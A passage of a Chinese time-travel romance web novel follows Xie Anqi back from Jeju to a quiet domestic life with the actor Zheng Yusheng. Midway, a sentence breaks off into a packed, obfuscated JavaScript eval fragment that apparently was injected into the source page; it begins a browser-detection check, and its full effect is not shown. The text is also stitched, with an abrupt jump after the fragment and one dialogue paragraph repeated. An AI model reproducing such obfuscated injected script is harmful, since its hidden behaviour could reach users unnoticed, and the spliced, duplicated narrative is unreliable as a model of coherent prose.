她没回话,脚步却和他同步,便利店就在巷口,玻璃门后透出明亮的白光。他们走进去,她拿了盒牛奶和一袋巧克力,他挑了冷藏柜里的豆腐锅汤料。结账时,店员看了他们一眼,没认出来,只说了一句:“夜宵吃太辣会睡不着。” 他们笑着道谢,走出便利店时夜风拂过,两人肩膀几乎碰在一起。“你什么时候也变得这么会生活了?”她笑着看他提着袋子。“是你教的。”他说,她脚步慢了下来,拖着影子走在他身边。 “以前你会想象你三十岁是什么样子吗?” “会,想过很多种。” “比如?” “比如一个人旅行,或者一个人拍戏,或者一个人过年。” “都是一个人?” “嗯。”她低头笑了一下。 “现在呢?”她问。 他没立刻答,只把手里的塑料袋换到另一边,轻轻牵住她的手,说道,“现在我不想一个人了。”他说。 夜风刚好经过,带起她头发的一角,她看着他,忽然觉得这一晚,比梦更不真实,但她愿意走下去。哪怕只有这一条街,这一个夜晚,这一个回答,但至少他在身边的时候,是一种情绪的真实存在。 36.第36章 谢安琪走出摄影棚的时候,济州岛的风吹得她头发轻轻扬起,项目结束的比想象中要快。但项目的内容也比想象中容易,所以谢安琪提前结束了最后一组拍摄,她没有叫车,自己一个人离开了现场,慢悠地走着,她背着帆布包,一个人沿着海边的小路慢慢走。 天还没完全黑,但街边的灯已经亮了起来,像是一串串温柔的引路灯,往前延伸到看不见的远处。谢安琪把手机揣在兜里,没有打开音乐,也没有回复任何人的消息。她只是听着海浪拍打石岸的声音,步子不快,心里像是被风吹出一条缝,潮湿又空旷。 她走到一段偏僻的木栈道上,看到几个年轻情侣坐在露营椅上,边喝啤酒边笑闹;有人带着狗散步;还有人干脆躺在沙滩上看星星。那些热闹的声音,和她的安静像是并行的两条线。 谢安琪忽然想起圣水那晚,郑禹胜站在烤肉店门口等她,帽檐压得很低,但目光依旧透过人群,落在她身上。再想起更早的时候,她从另一个时间线醒来,看着他二十几岁稚嫩的笑容,不知道他未来会不会也笑着等她。 谢安琪蹲下来,手指捏起一小把细沙,松开时被风吹散,就算一直在来回的时间线里奔跑,她始终没能确定,哪一条是他们最终会重逢的路。谢安琪觉得自己有点奇怪,时而犹豫时而豁达,似乎对自己的现状已经接受又没有完全接受。 往前走没有多远就是一个便利店,谢安琪往前走了几分钟推门进去,她在便利店买了一个紫菜饭卷,走到沙滩边找了块礁石坐下。海浪声间或传来,一阵高一阵低,配着沙沙的风声,仿佛整个世界都在呼吸。 她慢慢剥开包装,咬了一口,米饭冰凉,却有一丝莫名的安心。她抬头,看到天边挂着一颗很亮的星,孤独地嵌在深蓝色幕布上。 手机震了一下。谢安琪掏出来,看见界面上只有一条推广广告,没有别的消息。谢安琪把手机重新揣进口袋,低声说了一句:“没关系,我自己也能一个人吃完。”就算有些夜晚只有她自己,她也想试着为自己停留下来,而不是只为了找回某个人而一次次跳跃。 但最后谢安琪还是忍不住拿出手机,给郑禹胜发了一条信息,【我在看星星。】 这条信息发出去后,她没指望能立刻收到回复。以前她会期待,一条我也在看或者带我一起会很快弹出来。 可现在,她只是想告诉他,不管他在哪个剧组、哪条时间线,她都在想他。谢安琪收起手机,继续吃着饭卷,身后的风把她的发尾吹得有些凌乱。那种安静中夹杂的微妙等待,让她感到既柔软又脆弱。有那么一瞬间,她觉得,或许无论她在哪,他都能感应到她抬头望向天空的那一刻。 回到酒店时,谢安琪发现房门口放着一个纸袋,里面装着一小袋新鲜水果,旁边还有一瓶牛奶。她愣了几秒,才看见袋子上夹着一张小卡片:【收工辛苦了,早点休息。—— 郑】 那一瞬间,谢安琪几乎有点鼻酸。她抱着那袋水果走进房间,放到桌上,转身去倒热水。其实谢安琪也不知道他是什么时候托人送来的,也不清楚他是不是早就预料到她会一个人走很久、回来的时候需要一点补给。 可就是这种不必言说、只需要一个小动作的默契,让她感觉到从未有过的安心。那晚,她坐在床边吃了几颗葡萄,嘴里全是凉甜的汁水,心里却很暖。 …… 她泡了一杯热柠檬水,坐在床边,看着水面漂浮的薄片柠檬。灯光落在杯壁,映出一圈淡淡的月亮形倒影。她抿了一口,酸味冲得人有点清醒。 这酸意让她想到很多以前的事:在首尔租的小屋里,窗外吵闹到凌晨的车声;和他第一次一起回家的那夜,她蹲在浴室哭,怕他听见,只开了水声。 而现在,谢安琪可以一个人坐在陌生的酒店房间里,安安静静地想他,喝着热水,不再躲避、不再怀疑。那种自然而然的心安,是她这些年最奢侈的东西。她抬头看向窗外,夜空还是只有那一颗孤独的星。 但今天,她觉得它不再让人害怕。夜里,她裹着酒店的白色浴袍,靠在床头翻手机。翻到他的一条旧采访视频,弹幕上全是“太帅了”“好温柔”“他的眼神太会说话了”。 她看了几秒,就点了暂停。那一瞬间,她突然意识到,自己其实从来不是他的观众。那些横跨时间缝隙的片段,她一度以为是她的独家记忆,是她守着的秘密。 可再看现在的郑禹胜,他把所有人都照亮,却只把心底的一盏灯留给了她,她躺下来,脑子里浮现出过去所有相遇的细节,心里酸胀,却忍不住笑了。也许,他们都在各自的时间里,默默走过了无数回头路,只为了今天这一刻的靠近。 想到这,谢安琪又一次拿起手机,界面停在他那条聊天窗口,光标闪烁。她轻轻点了录音键,却在录了三秒后松开。那段语音里只有她微弱的呼吸声。她没有点发送,只是盯着那个小小的音波曲线看了一会儿,最终按了删除。有些话,她想说,却觉得不需要说。 因为他会懂。而谢安琪也终于学会了,这种未发出的心跳,有时候才是最完整的爱。她把手机丢在枕边,盖上被子,闭上眼睛。谢安琪想象着明天回首尔的飞机上,或者在公司大门口,甚至只是家里的厨房,她见到他的样子。 他会装作冷淡地问,“回来了吗”,却会接过她的包,轻轻摸她头发。也许他不会问她在济州岛做了什么,吃了什么,见了什么人。但她知道,他一定记得她说过不喜欢一个人看夜空。 想到这里,她心口忽然涌上一阵温热,吃完水果后,她穿上外套,又忍不住出了门。 酒店门口灯光温暖,但小路空旷。她沿着那条小路慢慢走,又一次走到海岸边的一家24小时便利店前停住。便利店里只有一个店员,靠在收银台看书,偶尔抬头瞄一眼监控器,看着街口稀稀拉拉的游客。 谢安琪没有进去,只是倚在灯箱广告旁,看着自动门一开一合。是因为还在思考想要买什么吗?其实不是,谢安琪只是想起很多年前在首尔冬天的夜里,她也曾一个人站在便利店外,为了给临时回国的朋友准备机上零食,买完后在便利店附近硬生生等了半小时。 那时的她还以为,等待是件浪漫的事,后来才知道,最浪漫的等待,其实是有人知道你在等,最后也一定会来。现在,便利店门开了又关,她没等谁,只是突然很想一个人站在那里,呼吸这微凉的咸湿空气。 她抬头看见玻璃门倒影里的自己,头发有点凌乱,眼睛被风吹得有点干,嘴角却微微向上。 谢安琪继续往前走,鞋底和地面摩擦发出轻轻的“吱呀”声,像是给寂静夜里加了一个伴奏。 她走到海边栏杆,手扶在冰凉的铁栏上,深呼吸了一口,“如果这一刻能定格,就好了。”谢安琪小声对自己说。 这倒不是完全对谁说的事情,也不是等回答。这一句只是想对自己确认,她还在,不是在过去,也不是在未来,是现在。 海风呼啸过来,把她的话卷走了,谢安琪忽然意识到,原来这么多年,所有的奔走、所有的来回,其实都是在找一个能让她说我想停下来的地方。 而现在,她站在这一条安静的海岸线上,终于敢对自己说:别再逃跑了,谢安琪走到一个观景台,那里有一排挂着的装饰灯,小小的球形灯泡,随风轻轻晃动。 有一瞬间,她觉得那排灯就像一串被他递过来的糖,闪着温柔的光。她停下脚步,抬头看了一会儿。有人在台阶另一侧弹吉他,断断续续的旋律飘过来。路灯下有情侣在合影,有背包客坐着写明信片。 她悄悄从包里掏出一张小便签,写下了一句,“夜里太空,靠一颗心亮着。”写完,她把那张纸折成四方,塞进包里。那是她不打算寄出的明信片,或者说,是她写给未来自己的纸条。谢安琪也不知道未来的她,会不会还记得这条夜路、这盏灯、这颗心。但至少现在,她记得。 当她准备离开时,一个陌生的阿姨递给她一罐温牛奶,说:“夜里走路别喝冷的。” 谢安琪一愣,反应了几秒才接过来,连忙说:“谢谢。” 那人摆摆手,转身走了,牛奶外壳有一层水汽,谢安琪握着,指尖被温度烫得有些酸痛,却舍不得放开,她低头笑了一下,轻声说:“原来不只是他,偶尔也会有人替夜晚照亮一点。” 她抱着那罐牛奶,一步一步往回走。背影被街灯拉得很长,像一条白色丝带,安静地贴在夜色里。回到酒店时,她终于打开手机,看了一眼刚才那条“我在看星星”的信息,仍然没有回复。 但谢安琪不再觉得失落,她拧开那罐温牛奶,喝了一口,心里软软的。她靠在窗边,夜里港口的灯一点点熄灭,只剩下几个红色的航标灯在远处微闪。 她轻声说了一句,几乎只听得见自己的呼吸声,“今晚,你是不是也看见我的影子了?” 然后她把牛奶放在窗台,悄悄地自言自语,“如果有一天,我不再离开,也请你别再等我了。” 那一刻,她才意识到,原来所谓走到尽头的路,不是为了遇见谁,而是为了遇见已经学会不再回头的自己。 谢安琪翻了个身,缩在被子里,感觉到一丝轻微的困意,在那种安全感里,她不再需要任何确认。她快要睡着时,手机屏幕亮了一下,她迷迷糊糊拿过来看,是他的回复,我在看你的星星。 短短一句话,几乎没有标点,她盯着那行字,眼泪差点涌出来,又忍住,只是用被子捂住半张脸,轻轻笑了。这一瞬间,她觉得自己比任何时候都更坚定。因为就算时间再错位,世界再嘈杂,他们都已经在对方心底种下一颗比星星还亮的心。 那一夜,她睡得很深,梦里没有时间缝隙,没有倒带,也没有消失。只有一条长长的路,尽头亮着微光,像有人在远处等她。 她醒来的时候,天已经亮了。 酒店的窗帘半掩着,外面的天空灰蓝,海浪声隔着玻璃传进来,像谁在屋外轻轻敲门,谢安琪揉了揉眼睛,第一反应是摸手机,屏幕一亮,还有一条凌晨四点多收到的新的回复,就在【我在看你的星星】后面, 【我看见你了,安琪。】 只有八个字,却让她整个人安静下来,心底一阵柔软扩散开,谢安琪反复读了好几遍,才把手机抱到胸口,轻轻呼了一口气。她甚至可以想象出,他发这条消息时坐在车里,半夜还没卸完戏妆,额发有点乱,灯光从侧脸掠过的样子。 她翻了个身,忽然点开通话界面,指尖悬在拨出按钮上。谢安琪想了几秒,还是按了下去,电话只响了两声,他就接了。 “醒了?”郑禹胜声音低哑,带着刚起床的慵懒。 “嗯。” “昨晚……没等到我吧?” “没关系,我没有很困。” 那边笑了一声:“骗人。” 她没接话,手机贴在耳边,听他轻轻呼吸的声音。 “你现在在哪?”他问。 “酒店。” “什么时候回来?” “今天下午的飞机。” “我去接你。” 她下意识想说“不用”,但话到嘴边,又咽了回去。 她只是轻轻“嗯”了一声。 他们都没挂电话,仿佛都在等对方先说点什么,却又舍不得切断这根线,过了很久,谢安琪终于开口,声音很小。 “那我可以问一个问题吗?” “可以。” “假如我是时间旅行者,我们在不同的时间线见过,但有一天,我不再回过去了……就是,我只停留在这条时间线上,你会不会觉得,这样的我就不完整了?” 对面沉默了一瞬。 “为什么会这么问?” “我只是在想,也许你更喜欢那个总是会消失的我。” 郑禹胜叹了一口气,像是在自嘲地笑,“安琪,我从来没喜欢过你消失。” 她屏住呼吸,指尖几乎攥紧了床单。 “我一直都在等你停下来,”他说,“就算这条线不是最完整的,也不重要。” “因为对我来说,你完整的样子,不是你能回多少次过去,而是”他停了一下,声音低得几乎听不清,“而是你愿意走进我生活里的样子。” 谢安琪本能地想说“对不起”,可这一次,她忍住了。 在谢安琪还没有完全闭合的时间旅行记忆里,她总是把对不起当成离开的借口,当成某种安全气囊,但现在,她知道,那三个字才是真正伤人的东西,所以她只是静静听着,不去解释,不去后退。 “你知道吗,”他说,“如果真的能时间旅行,我觉得你可能是和过去的自己讲和。我不知道我能不能变成你停下来的理由,但我愿意等。” 谢安琪闭着眼,眼尾却有点湿。 手机另一边的呼吸声还在,连同那句“我愿意等”,轻轻敲在她心上,电话那头,郑禹胜忽然转回平静的语气:“那我今天给你做什么?” “啊?” “晚餐啊,你不是要回来吗?” 她愣住,半晌才笑了:“你会做什么?” “我还在研究。” “那……不管你做什么,我都吃。” “真的?” “嗯。” “那我准备一下,今天早点回家。” 她听着,轻轻笑了一声,心里莫名像被什么拉住,微微发热。 “那我今天回去,晚餐还等我吗?”她低声问。 “等。” 电话那边,他回答得很快,几乎没有思考,那一瞬间,她心底的重石像突然融化,涌上来的全是热意。 “好。”她轻声说。 “嗯。” 两人谁都没先挂断,谢安琪把手机慢慢放到枕边,侧着脸贴着被子,眼睛望着窗外开始明亮起来的海面。她忽然觉得,未来无论走到哪里,那个一直等她回去吃饭的人,就是她这条线里最真实、最温柔的底色。而这一刻,她不再只是一个来来回回的梦中人,而是那个终于愿意停留、愿意说“好”的谢安琪。 …… 飞机落地的时候,谢安琪看着窗外的跑道,天刚好是一种淡灰色,偶尔闪过一束冷光。她下了飞机,走到到达口时,看到郑禹胜穿着黑色风衣,戴着棒球帽,靠在隔栏旁。 郑禹胜没有举牌,也没有张望,只是低头看手机,但谢安琪知道,他在等她。她推着小行李箱走过去,离他还有两三步,他抬起头,眼里那种确认过的笑意,藏都藏不住。谢安琪忍住想冲过去的冲动,只是轻轻扬了下手:“我回来了。” “嗯。”他伸手接过她的行李,声音低下来,“辛苦了。” “没有。”她摇头,“我有好好吃饭,有好好睡觉。” 郑禹胜没再说话,只是替她整理好行李带,步子放得很慢。那一刻,她意识到,她走过那么多路,回过那么多时间线,最后都落在了这个机场出口,这个男人面前。 回到大平层时,门口那盆薄荷被修剪得很整齐,几片嫩叶在阳光下晃着,谢安琪把鞋脱下来,刚想弯腰给薄荷浇水,郑禹胜按住她手。 “我来。” “你什么时候变得这么细心了?”她有点意外地笑。 “你不在的时候,屋子里安静得很,只能跟它说话。” “它听得懂吗?” “它长得挺好,应该懂吧。” 谢安琪看着他小心倒水的样子,忽然鼻子发酸,一个人变细心,有时候并不是因为突然学会了什么,而是因为怕失去。而郑禹胜,已经开始在这个空间里,为她一点一点地留下细节。 她伸手摸了摸那片新叶,轻声说:“谢谢你,陪它,也等我。”吃午饭的时候,他们坐在长桌两端,中间铺着浅色餐布,餐具摆得很规整。郑禹胜把一个小纸条推到她面前,上面只写了两个字:以后,郑禹胜看着那两个字,心脏突然有种“被撞了一下”的感觉。 “什么意思?” “以前你总是说以后是很空的词。”他慢慢开口,“我今天写下它,是因为我想让它不空。”她低头,指尖轻轻滑过那两个字,“那你想要什么样的以后?”谢安琪继续问。 “没有什么大事,也不需要多特别。”他认真地说,“只是有人等我回家,有人陪我吃饭,有人会在我出门前提醒我带伞。”她鼻尖发酸,却故作平静地说:“听起来很普通啊。” “对,很普通。”他看着她,目光很坚定,“但只要是跟你,就是我唯一想要的‘以后’。” 晚饭准备的时候,郑禹胜亲自下厨,谢安琪本来想帮忙,但他把她推到餐桌前,像赶小动物一样摆手:“等着吃就好。” 谢安琪看着他在厨房里手忙脚乱地打蛋,面条被煮得快要糊成一团,蛋花浮在汤面上,颜色乱七八糟,她忍不住笑得眼泪都出来。 “你笑什么?”他端着碗回头,表情却很真诚。 “我只是……没想到,你也有这么狼狈的一面。” “你是想说,我不适合厨房?” “不是。”她摇头,“我想说,谢谢你,愿意在厨房里为我手忙脚乱一次。” 郑禹胜愣了几秒,忽然也笑了,他把碗放到她面前,坐到她对面,看着她小心夹起那团乱糊的面,认真吃下,而这会对面而坐,像某个剧本里早就写好的桥段,但这不是演戏,而是真实生活。 吃完饭后,两人一起洗碗,水声淅淅,泡沫在他指尖慢慢溢开,她拿着毛巾擦碗,动作慢吞吞的,像在拖延时间。 “你知道吗……”谢安琪轻声开口,“其实,我有时候会怕。” “怕什么?” “怕有一天,我停下来,你会后悔。” “安琪。”郑禹胜停住动作,抬头看她。 “嗯?” “我只怕一件事。” “什么?” “你后悔停下来。”她张着嘴,却没说出声音。 泡沫从指间滑落,水声依旧,窗外的天已经完全暗下。他们对望的那一刻,比任何台词都要真实。厨房灯还亮着,谢安琪转身将最后一只碗放到沥水架上,慢慢擦手。 郑禹胜走到她背后,动作很轻地帮她理了下头发。她靠着台面,没有转身,只是看着前方,声音很小地问了一句,“如果有一天,我只能选一条线停下来,你希望是哪条?” “你现在在的这条。” “如果这条不是最好看的,也不是最完整的呢?” “那也选它。” 她终于转过身,抬头看着他,眼里有光也有水汽。 “为什么?” “因为有你。”他说,“我不需要它是最好,只需要它有你。” 她深吸了一口气,低低地笑了一声,肩膀微微抖。那笑声里,有释放,也有微弱的害怕。 …… 洗衣机在运转,发出规律的咕噜声,客厅昏黄的落地灯还开着,桌上有两杯泡好的花草茶,香气淡淡。 “以后你想住在哪里?”谢安琪忽然问,似乎是计划着未来或许有一种不一样的分支。 “你在哪,我就在哪。”郑禹胜坐在她对面,认真地回答。 “真没想过别的?” “没必要。” 她低头看着桌上的茶杯,指尖摩挲杯沿,“如果以后我想搬去乡下,开一家很小的书店呢?” “那我就把剧本带过去,在书店里写。” “你甘心吗?” “只要有你,就甘心。”她看着他,目光像是要把这人刻进骨子里。 “你是不是很会说情话?” “我不是说情话,我是在说我想过的未来。” 洗衣机的声音慢慢静下来,屋里只剩他们两个的呼吸声。那种安静,比任何告白都更有重量,她把洗好的衣服拿出来,准备晾干,刚才的话题也没有再继续了,郑禹胜从后面走过来,接过一件衬衫,熟练地抖开。 “我来帮你。” “好啊。” 她看着他一边抖衣服一边认真对齐肩线,忍不住笑了。 “你有必要这么认真吗?” “这件是我平常拍摄要用的。”他抬头看她,“但如果以后不演戏了,这件也只会在家里穿。” 她愣住,衬衫在他指间晃了一下,像是漂浮的某种可能性。 “如果你以后不演戏了,你会后悔吗?” “不。” “那观众会不会失望?” “我不演给观众,我是为了你。” 这一句话落下,她几乎感觉到胸口有一团热流缓缓散开,收拾完后,她坐到书桌前整理文件郑禹胜端着一杯温水走过来,顺手在她桌边放了一张便签,她看了一眼,上面只写了简短几行字,“我会陪你去看每一个展览,吃每一个想尝试的甜品,写每一个你想看到的结局。” 她愣着看了几秒,缓慢抬头,郑禹胜没有退开,只是站在那里,静静看着她,那是一种很安静、很坚定的靠近,像是下定了什么决心。 “以后,我不会再让你一个人去任何地方。”他说。 谢安琪鼻尖发热,想开口,却什么也说不出来,谢安琪伸手,轻轻把那张便签拿起来,看了好一会。然后,她慢慢对折,再对折,直到变成只有指甲盖大的小块,她握在手里,手心有些潮湿,纸张的边角被捏软。 “我收下了。”她低声说,郑禹胜轻轻呼出一口气,嘴角微微上扬。 “以后,不用再跟我确认答案。”谢安琪继续说,声音细而坚定,“因为我已经准备好,把你写进我的以后里了。”郑禹胜看着她,那一刻眼里不再有任何迟疑。 只有一整片安静而汹涌的海,客厅的灯光已经被调到最暗,只剩下一盏小台灯的暖光映在桌面。谢安琪把那张被折得很小的便签放进笔记本里,抬起头时,发现郑禹胜还站在原地,目光没有移开。 “你还在想什么?”她问。 “在想……以后。” “什么样的以后?” “以后我们也可以吵架。”他说,声音里有一点小心翼翼,“我不会再害怕争吵,也不会因为怕失去你就退让所有。”谢安琪愣了一下,随即笑了。 “你什么时候变得这么勇敢了?” “是你教我的。”他轻声回答。 谢安琪走过去,停在他面前,伸手摸了摸郑禹胜的脸。 “那以后如果吵架,你要先来哄我。” “好。” “每次都要先。” “每次都先。” 那种认真到几乎显得笨拙的答应,像是未来的某个契约,被悄悄写进他们之间,晚饭吃完后,郑禹胜去厨房收拾剩下的餐具,谢安琪靠在门边看他,那盏小小的厨房灯,光圈落在他肩上,映出清晰又柔和的影子。 “这灯好像很适合写剧本的光。”她突然说。 “是吗?”他偏头看她。 “如果以后你不演戏,写剧本也可以啊。” “写什么?” “写我们啊。” 郑禹胜愣了几秒,眼神忽然变得很亮。 “写我们走夜路,写我们在便利店选饮料,写我们为了一碗面吵架。” “听起来很无聊。”他笑着说。 “可我喜欢。”她说,“我喜欢这些很无聊的小事,也喜欢被写进去的你。” 那一瞬间,厨房的灯不再只是灯,它像是他们生活里的心灯,亮着的时候,代表有人等你回家,谢安琪走过去,把他刚洗好的碗一只只放进橱柜,郑禹胜在她旁边帮忙擦碗,动作慢而仔细,她忽然开口:“刚才那张便签,我可以加一句吗?” “可以。” “以后,就算你有一天不想演戏、不想出门,也都可以。” “嗯。” “但唯一不可以的,是不想见我。” 郑禹胜停住动作,看着她,眼神温得像一杯刚煮好的牛奶。 “我不会。”他说,“我永远都想见你。” 厨房的水声依旧,但两人之间那种软绵的张力,却让整个空间都安静下来,她把最后一只碗收好,悄悄笑了一下,像是给未来留下一句注脚,谢安琪走过去,把他刚洗好的碗一只只放进橱柜。郑禹胜在她旁边帮忙擦碗,动作慢而仔细,她忽然开口:“刚才那张便签,我可以加一句吗?” “可以。” “以后,就算你有一天不想演戏、不想出门,也都可以。” “嗯。” “但唯一不可以的,是不想见我。”郑禹胜停住动作,看着她,眼神温得像一杯刚加热好的牛奶,带着一种新的滋味。 “我不会。”他说,“我永远都想见你。”收拾完后,他们坐到客厅,桌上各放着一杯水,她轻轻碰了碰杯口:“干杯。” “现在干杯?” “庆祝啊。” “庆祝什么?” “庆祝我们终于把以后说出口了。” 他愣了一下,随即笑着也举起杯子,和她轻轻碰了一下,那一声脆响很轻,却敲进了两个人心里。她喝了一口,抬头看着他,突然问:“如果有一天,我们都老了,头发白了,你还会想见我吗?” “会。” “还会陪我喝水吗?” “会。” “还会记得今晚这盏灯吗?” “会。” 她看着他,那些未说出口的担忧、害怕、时间错位的影子,似乎都在这一连串会里被缓缓溶解了。夜更深了,郑禹胜站起来,把她的水杯拿去厨房,回来时,她已经倚在沙发上,眼睛半眯着。 他轻轻把她抱起来,往卧室走,谢安琪靠在他肩上,声音软到几乎听不见:“我其实一直怕,有一天你会选择别的时间线,不再等我。” “我不会。” “如果那一天真的来了,我希望,所有的时间线都能等到你。” “我也希望,无论哪一条线,最后都能走到你这里。” 她没有再说话,只是把脸埋进他颈窝,深深呼吸了一口,那一刻,所有他们曾经来来回回错过的时间、犹豫、回避,都变成了一种无声的允诺,贴在彼此的脉搏上。未来会怎样,他们都不知道,但此刻,他们选择了一起去走。 …… 卧室灯很暗,只亮着一盏小台灯,郑禹胜把她轻轻放在床上,准备起身去关窗,她却伸手拉住了他。 “怎么了?”他低头看她。 “以后也要这样抱着我回房间,好不好?” 他笑了,俯身捏了捏她的脸:“好。” 谢安琪像小猫一样往床里缩了缩,把被子拉高,露出一双清亮的眼睛看着他,那一刻,她像一个终于找到了庇护所的人,安心而带点撒娇的脆弱。 “你别笑啊,我是认真的。” “我知道。”他坐到床边,顺着她的头发一点一点摸下去,像在安抚一只易惊的小兽。 “好,以后每天都抱你进房间。” 她终于放开了他的手,安心闭上眼,灯被关上的瞬间,郑禹胜坐在床沿,没有立刻躺下。他低头,看着掌心,忽然发现,指尖还残留着她头发的柔软感,其实,郑禹胜也有怕,怕哪天她再次醒来,就又跑到另一个时间里,怕她再一次离开,却不再回来,怕她哪天回忆起的,是某个更年轻、更温柔、更完美的自己,而不是这个有些疲惫、甚至会煮糊面条的郑禹胜。 但这些话,他没说,因为他知道,她现在已经在这里,已经选择和他走同一条线,比起说出害怕,他更想用每一个平常的动作告诉她:“我在这里。” …… 凌晨四点,谢安琪醒了一次,她微微睁眼,看见窗外天刚泛出一点青白。郑禹胜的手臂搭在她腰上,呼吸均匀,额发有些湿,像是做过什么梦。她慢慢挪了下,想要翻身,却被他下意识收紧了一下。 “别动……”他含糊地说,声音低哑,带着未醒的困意。 她轻轻笑了,重新贴近他,脸贴到他胸口,那个瞬间,她听见他心跳很慢,却很坚定。谢安琪在想,也许这就是她想停留下来的理由。无论多少时间线,无论多少种可能,只要有这个在凌晨四点还能被他拉回怀里的片刻,就足够了。 清晨醒来的时候,屋子里已经有轻微的动静,谢安琪坐起来,头发有些乱,房间里透着面包机的香气。她赤脚走到厨房,看到郑禹胜正把热牛奶倒进她常用的那只杯子,桌上还放着两片烤好的吐司。 “醒啦?”他回头笑着问。 “嗯。”她揉揉眼睛,“你怎么起这么早?” “今天有剧本会,但我想先陪你吃完早餐。”她愣了愣,走过去,环住他的腰。 “谢谢你。” 郑禹胜没说话,只是把杯子递到她手上,她接过来,喝了一口,热气涌上舌尖,也涌到心口,她吃完面包,准备去洗漱时,回头看见桌上的那张以后便签还在。郑禹胜走过来,轻轻按住那张纸,说:“我一直想把这张便签贴在冰箱门上。” “那你就贴啊。” “我怕你嫌丑。” 她笑着摇头,把纸拿起来,自己走去冰箱,贴在了正中间。 “以后,就贴这里。” 郑禹胜在她背后伸手,搂住谢安琪,那一刻,她忽然感觉,所有未来的纠结与不确定都被这一个简单的动作安抚住,她闭着眼,轻声说:“那我们,就从今天开始,一直写以后吧。” 他把脸埋在她颈侧,声音低而坚定:“好,从今天,也从每一个现在。” …… 首尔的气温带着轻微的凉意,谢安琪一只手提着资料袋,另一只手拉着郑禹胜,两人一起走进校园南门。这不是他们第一次来,但却是第一次光明正大地并肩走着。偶尔有学生路过,会抬头看他们,眼里写着好像在哪里见过,有人眼里写着这人长的真像郑禹胜,但没人真的敢开口。 “好久没来学校了。”谢安琪吸了一口风,鼻尖微凉。 “想这里吗?” “有一点。”她点头,脚步轻快,“可也想快点毕业。” “毕业后呢?” “毕业后……先找个咖啡馆打工,或者回家写点东西。” 郑禹胜笑了:“我会来帮你打杂。” 她抬头看他,眯着眼:“那我要付你多少时薪?” “你给个拥抱就行。”办完资料手续后,两人走到图书馆门口。 谢安琪拿出学生证刷门,带他进去,指了指最里面的角落。 “那边有一排老式木椅,我之前常在那睡觉。” 郑禹胜跟着她走进去,果然看到最深处的长椅,木纹被无数次摩擦打磨得发亮,她放下包,整个人一屁股坐下去,抬头看他:“你要不要也试试?” 他笑着坐到她身边,靠着椅背,闭上眼,“感觉怎么样?” “很像剧组的等戏时间。” “你怎么哪都能想到剧组?” “因为以前我只在那里停留。”他侧过脸,看着她,“但现在,我想在这里多坐一会儿。” 谢安琪盯着他,忽然有种恍惚感,好像终于把郑禹胜拉进了她的世界,而不是谢安琪一直跑到他的时间线里。从图书馆出来后,她带他走进美术楼前的旧走廊,墙上贴满了历年展览和社团演出的海报,颜色缤纷,边缘早已卷曲,谢安琪抬手摸了一张已经褪色的音乐会海报,手指轻轻顺着上面的裂痕划过。 “这张是我大一时贴的。”她回忆道,“那时候以为世界会永远保持这样,海报、青春、喜欢的人都不会变。” “然后呢?” “然后都变了。”她笑了笑,“但我现在不怕了。” “为什么?” 谢安琪收回手,回头看他,眼神清亮:“因为我学会了,不管变成什么样,只要我还在,就算只被记住一瞬,也没关系。” 那句话轻飘飘,却像一根钩子,精准地勾住了他的心口,再往前走,是几间老旧教室,有一扇窗户开着,风吹进来,带着校园特有的清凉,谢安琪随意走到一张课桌前,低头看了一眼桌面,那上面被人用刀尖刻着一行字,“等风来,不如追风去。” 她抿着唇,轻声念了出来,“以前,我总以为要等。”她轻轻用指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着她,眼神里藏着只有她能读懂的柔软,谢安琪吃到一半,忽然停下筷子,抬头看他,“好像又回到从前。”她轻声说,“那时候觉得,未来什么都可以等着来,但其实很多东西,如果没有把握,就会错过。” “比如什么?” “比如人。”谢安琪低头笑了笑,“比如,那个总是让我想先跑到他面前的人。” 郑禹胜没立刻回答,只是伸手替她把脸颊上的一根发丝拨开。 “你现在,不用再跑。”他说。 “嗯。”她点头,鼻尖发红。 “因为我也会跑过来找你。”郑禹胜说完,轻轻握住了她的手,周围有人在笑,有人干杯,远处有人在吆喝,但那一刻,他们的世界里只有彼此。吃完后,郑禹胜坚持要付钱,她也没有再推让,走出摊子,夜风更凉了些,她把围巾往上拉了拉。 “冷吗?”他问。 “有一点。” “那快点走。” “你走太快,我跟不上。” “那我慢一点。” 郑禹胜说完,真的放缓了步子,甚至把手递过去,像是要牵她,却又不完全握住,谢安琪看着他的侧脸,忽然发现,他其实一直都在学着怎么靠近,学着怎么变成一个可以被依赖的人,谢安琪也把手伸过去,和他十指相扣。 “这样就不怕冷了。”谢安琪小声说。 “嗯。”他低低应了一声,握得更紧,快到家门口时,谢安琪停下脚步,望着楼上亮着的灯。 “怎么了?”郑禹胜也停住。 “刚刚在鸡肉串摊子,我其实差点说一句话。”谢安琪侧过脸看郑禹胜,语气很轻。 “什么?” “我想说,我现在好像不再害怕留下来了。”郑禹胜呼吸一顿,眼神慢慢变得温热。 “真的吗?” “嗯。”谢安琪点头,眼底泛着光,“以前我总觉得,停留意味着束缚。但现在我明白,有些停留,是因为想被一个人看见、被一个人记住。” “那你呢,想被我记住吗?” 谢安琪轻轻笑了,慢慢把额头靠到郑禹胜胸口,“我不只是想被记住,我想一直在你身边。” 那句话落下时,夜风像一层轻柔的幕,把他们围在了一起,走进家门,屋里的灯光还亮着。郑禹胜先进去,把她的鞋摆正,又帮她把包挂到墙上的挂钩上,谢安琪站在玄关,看着那盏灯,眼睛微微发酸。 “等很久了吧?”她问。 郑禹胜转身,摇摇头:“不久。” “可是,我觉得等我好久了。” “我等你,一直都愿意。” 谢安琪走过去,抱住郑禹胜,声音闷在他肩膀上:“那以后,不要让我一个人再走那么远了。” “不会了。” 郑禹胜抬手轻轻拍谢安琪后背,重复了一遍:“不会了。” 灯光温暖,把他们的影子拉得很长,那一刻,她忽然觉得,就算被记住的只有一瞬,她也愿意永远在场。洗完澡出来时,郑禹胜已经坐在沙发上,拿着手机看着什么,灯光落在他发尾,柔和得让人心安,谢安琪走过去,拿走他手里的手机。 “别看了,太晚了。”她说。 “我在看明天的行程。” “行程也不会跑掉。”她拉着他的手,把他轻轻往里推,郑禹胜被她推得靠到沙发角落,脸上带着一点不知所措的表情。 “你今晚想睡这里吗?”她笑着问。 “想和你一起。” “那就一起。”她低声说。 